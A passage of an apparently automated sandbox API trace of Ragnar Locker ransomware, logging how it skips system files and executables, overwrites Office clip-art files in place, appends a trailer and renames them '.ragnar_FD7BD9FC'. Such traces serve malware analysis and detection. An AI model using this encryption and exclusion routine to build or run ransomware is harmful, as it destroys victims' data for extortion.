Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" [0096.579] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF.ragnar_FD7BD9FC" [0096.579] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.580] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0096.580] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.580] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18204_.WMF" | out: lpString1="BD18204_.WMF") returned="BD18204_.WMF" [0096.580] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF") returned=".WMF" [0096.580] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.580] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="autorun.inf") returned 1 [0096.580] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="boot.ini") returned -1 [0096.580] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="bootfont.bin") returned -1 [0096.580] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="bootsect.bak") returned -1 [0096.580] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="bootmgr") returned -1 [0096.580] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="bootmgr.efi") returned -1 [0096.580] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.581] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="desktop.ini") returned -1 [0096.581] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="iconcache.db") returned -1 [0096.581] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="ntldr") returned -1 [0096.581] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="ntuser.dat") returned -1 [0096.581] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.581] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="ntuser.ini") returned -1 [0096.581] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="thumbs.db") returned -1 [0096.581] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.581] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.581] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.581] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.581] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.581] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.581] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf")) returned 0x20 [0096.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.582] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2068) returned 1 [0096.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x80b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.582] GetProcessHeap () returned 0x580000 [0096.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.582] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.583] VirtualAlloc (lpAddress=0x0, dwSize=0x814, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.584] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x814, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x814, lpOverlapped=0x0) returned 1 [0096.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.584] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x814, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.584] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x814, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x814, lpOverlapped=0x0) returned 1 [0096.584] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x814, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.584] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.584] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.584] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.584] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.584] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.584] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.584] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.584] GetProcessHeap () returned 0x580000 [0096.584] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.584] CloseHandle (hObject=0xf4) returned 1 [0096.585] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" [0096.585] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF.ragnar_FD7BD9FC" [0096.585] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.585] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0096.585] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.585] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18205_.WMF" | out: lpString1="BD18205_.WMF") returned="BD18205_.WMF" [0096.585] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF") returned=".WMF" [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="autorun.inf") returned 1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="boot.ini") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="bootfont.bin") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="bootsect.bak") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="bootmgr") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="bootmgr.efi") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="desktop.ini") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="iconcache.db") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="ntldr") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="ntuser.dat") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="ntuser.ini") returned -1 [0096.586] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="thumbs.db") returned -1 [0096.586] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.586] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.586] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.586] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.586] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.586] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.586] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf")) returned 0x20 [0096.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.587] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2266) returned 1 [0096.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.587] GetProcessHeap () returned 0x580000 [0096.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.588] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.589] VirtualAlloc (lpAddress=0x0, dwSize=0x8da, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.589] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.589] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.589] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8da, lpOverlapped=0x0) returned 1 [0096.589] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.589] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8da, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.589] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8da, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8da, lpOverlapped=0x0) returned 1 [0096.589] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.589] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.590] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.590] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.590] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.590] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.590] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.590] GetProcessHeap () returned 0x580000 [0096.590] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.590] CloseHandle (hObject=0xf4) returned 1 [0096.590] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" [0096.590] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF.ragnar_FD7BD9FC" [0096.590] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.592] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0096.592] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.592] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18206_.WMF" | out: lpString1="BD18206_.WMF") returned="BD18206_.WMF" [0096.592] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF") returned=".WMF" [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="autorun.inf") returned 1 [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="boot.ini") returned -1 [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="bootfont.bin") returned -1 [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="bootsect.bak") returned -1 [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="bootmgr") returned -1 [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="bootmgr.efi") returned -1 [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.592] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="desktop.ini") returned -1 [0096.593] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="iconcache.db") returned -1 [0096.593] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="ntldr") returned -1 [0096.593] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="ntuser.dat") returned -1 [0096.593] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.593] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="ntuser.ini") returned -1 [0096.593] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="thumbs.db") returned -1 [0096.593] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.593] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.593] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.593] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.593] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.593] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.593] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf")) returned 0x20 [0096.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.594] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2266) returned 1 [0096.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.594] GetProcessHeap () returned 0x580000 [0096.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.594] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.595] VirtualAlloc (lpAddress=0x0, dwSize=0x8da, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.595] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.595] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.595] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8da, lpOverlapped=0x0) returned 1 [0096.595] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.595] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8da, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.596] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8da, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8da, lpOverlapped=0x0) returned 1 [0096.596] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.596] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.596] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.596] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.596] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.596] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.596] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.596] GetProcessHeap () returned 0x580000 [0096.596] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.596] CloseHandle (hObject=0xf4) returned 1 [0096.596] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft 